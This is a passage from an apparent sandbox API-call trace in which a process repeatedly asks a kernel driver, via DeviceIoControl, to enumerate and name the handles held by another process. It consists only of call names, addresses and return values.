lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.890] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.890] PsAcquireProcessExitSynchronization () returned 0x0 [0112.890] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.890] ObReferenceObjectByHandle (in: Handle=0x2f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0012483d0, HandleInformation=0x0) returned 0x0 [0112.890] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.890] PsReleaseProcessExitSynchronization () returned 0x2 [0112.890] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.890] ObQueryNameString (in: Object=0xfffff8a0012483d0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.890] ObfDereferenceObject (Object=0xfffff8a0012483d0) returned 0x1 [0112.890] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.890] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.890] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.890] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.890] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.890] PsAcquireProcessExitSynchronization () returned 0x0 [0112.890] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.890] ObReferenceObjectByHandle (in: Handle=0x310, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f537a0, HandleInformation=0x0) returned 0x0 [0112.890] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.890] PsReleaseProcessExitSynchronization () returned 0x2 [0112.890] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.890] ObQueryNameString (in: Object=0xfffff8a001f537a0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.890] ObfDereferenceObject (Object=0xfffff8a001f537a0) returned 0x1 [0112.890] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.891] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.891] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.891] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.891] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.891] PsAcquireProcessExitSynchronization () returned 0x0 [0112.891] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.891] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001ef47c0, HandleInformation=0x0) returned 0x0 [0112.891] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.891] PsReleaseProcessExitSynchronization () returned 0x2 [0112.891] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.891] ObQueryNameString (in: Object=0xfffff8a001ef47c0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.891] ObfDereferenceObject (Object=0xfffff8a001ef47c0) returned 0x1 [0112.891] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.891] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.891] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.891] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.891] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.891] PsAcquireProcessExitSynchronization () returned 0x0 [0112.891] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.891] ObReferenceObjectByHandle (in: Handle=0x31c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001cb9860, HandleInformation=0x0) returned 0x0 [0112.891] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.891] PsReleaseProcessExitSynchronization () returned 0x2 [0112.891] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.891] ObQueryNameString (in: Object=0xfffff8a001cb9860, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.891] ObfDereferenceObject (Object=0xfffff8a001cb9860) returned 0x1 [0112.891] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.891] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.891] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.891] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.891] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.891] PsAcquireProcessExitSynchronization () returned 0x0 [0112.891] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.892] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f35850, HandleInformation=0x0) returned 0x0 [0112.892] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.892] PsReleaseProcessExitSynchronization () returned 0x2 [0112.892] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.892] ObQueryNameString (in: Object=0xfffff8a001f35850, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.892] ObfDereferenceObject (Object=0xfffff8a001f35850) returned 0x1 [0112.892] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.892] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.892] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.892] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.892] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.892] PsAcquireProcessExitSynchronization () returned 0x0 [0112.892] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.892] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001ef4af0, HandleInformation=0x0) returned 0x0 [0112.892] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.892] PsReleaseProcessExitSynchronization () returned 0x2 [0112.892] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.892] ObQueryNameString (in: Object=0xfffff8a001ef4af0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.892] ObfDereferenceObject (Object=0xfffff8a001ef4af0) returned 0x1 [0112.892] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.892] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.892] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.892] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.892] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.892] PsAcquireProcessExitSynchronization () returned 0x0 [0112.892] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.892] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001bd1f00, HandleInformation=0x0) returned 0x0 [0112.892] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.892] PsReleaseProcessExitSynchronization () returned 0x2 [0112.892] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.892] ObQueryNameString (in: Object=0xfffff8a001bd1f00, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.892] ObfDereferenceObject (Object=0xfffff8a001bd1f00) returned 0x1 [0112.892] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.893] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.893] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.893] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.893] PsAcquireProcessExitSynchronization () returned 0x0 [0112.893] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.893] ObReferenceObjectByHandle (in: Handle=0x364, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f6c680, HandleInformation=0x0) returned 0x0 [0112.893] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.893] PsReleaseProcessExitSynchronization () returned 0x2 [0112.893] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.893] ObQueryNameString (in: Object=0xfffff8a001f6c680, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.893] ObfDereferenceObject (Object=0xfffff8a001f6c680) returned 0x1 [0112.893] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.893] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.893] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.893] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.893] PsAcquireProcessExitSynchronization () returned 0x0 [0112.893] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.893] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f649f0, HandleInformation=0x0) returned 0x0 [0112.893] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.893] PsReleaseProcessExitSynchronization () returned 0x2 [0112.893] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.893] ObQueryNameString (in: Object=0xfffff8a001f649f0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.893] ObfDereferenceObject (Object=0xfffff8a001f649f0) returned 0x1 [0112.893] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.893] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.893] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.893] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.893] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.893] PsAcquireProcessExitSynchronization () returned 0x0 [0112.893] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.893] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001bc9330, HandleInformation=0x0) returned 0x0 [0112.894] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.894] PsReleaseProcessExitSynchronization () returned 0x2 [0112.894] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.894] ObQueryNameString (in: Object=0xfffff8a001bc9330, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.894] ObfDereferenceObject (Object=0xfffff8a001bc9330) returned 0x1 [0112.894] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.894] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.894] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.894] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.894] PsAcquireProcessExitSynchronization () returned 0x0 [0112.894] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.894] ObReferenceObjectByHandle (in: Handle=0x37c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001efaef0, HandleInformation=0x0) returned 0x0 [0112.894] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.894] PsReleaseProcessExitSynchronization () returned 0x2 [0112.894] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.894] ObQueryNameString (in: Object=0xfffff8a001efaef0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.894] ObfDereferenceObject (Object=0xfffff8a001efaef0) returned 0x1 [0112.894] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.894] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.894] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.894] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.894] PsAcquireProcessExitSynchronization () returned 0x0 [0112.894] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.894] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fa27a0, HandleInformation=0x0) returned 0x0 [0112.894] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.894] PsReleaseProcessExitSynchronization () returned 0x2 [0112.894] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.894] ObQueryNameString (in: Object=0xfffff8a001fa27a0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.894] ObfDereferenceObject (Object=0xfffff8a001fa27a0) returned 0x1 [0112.895] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.895] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.895] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.895] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.895] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.895] PsAcquireProcessExitSynchronization () returned 0x0 [0112.895] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.895] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f4e6d0, HandleInformation=0x0) returned 0x0 [0112.895] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.895] PsReleaseProcessExitSynchronization () returned 0x2 [0112.895] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.895] ObQueryNameString (in: Object=0xfffff8a001f4e6d0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.895] ObfDereferenceObject (Object=0xfffff8a001f4e6d0) returned 0x1 [0112.895] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.895] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.895] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.895] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.895] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.895] PsAcquireProcessExitSynchronization () returned 0x0 [0112.895] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.895] ObReferenceObjectByHandle (in: Handle=0x3ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f86670, HandleInformation=0x0) returned 0x0 [0112.895] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.895] PsReleaseProcessExitSynchronization () returned 0x2 [0112.895] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.895] ObQueryNameString (in: Object=0xfffff8a001f86670, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.895] ObfDereferenceObject (Object=0xfffff8a001f86670) returned 0x1 [0112.895] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.895] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.895] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.895] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.895] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.895] PsAcquireProcessExitSynchronization () returned 0x0 [0112.895] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.896] ObReferenceObjectByHandle (in: Handle=0x3bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f1d110, HandleInformation=0x0) returned 0x0 [0112.896] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.896] PsReleaseProcessExitSynchronization () returned 0x2 [0112.896] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.896] ObQueryNameString (in: Object=0xfffff8a001f1d110, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.896] ObfDereferenceObject (Object=0xfffff8a001f1d110) returned 0x1 [0112.896] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.896] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.896] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.896] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.896] PsAcquireProcessExitSynchronization () returned 0x0 [0112.896] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.896] ObReferenceObjectByHandle (in: Handle=0x3cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: 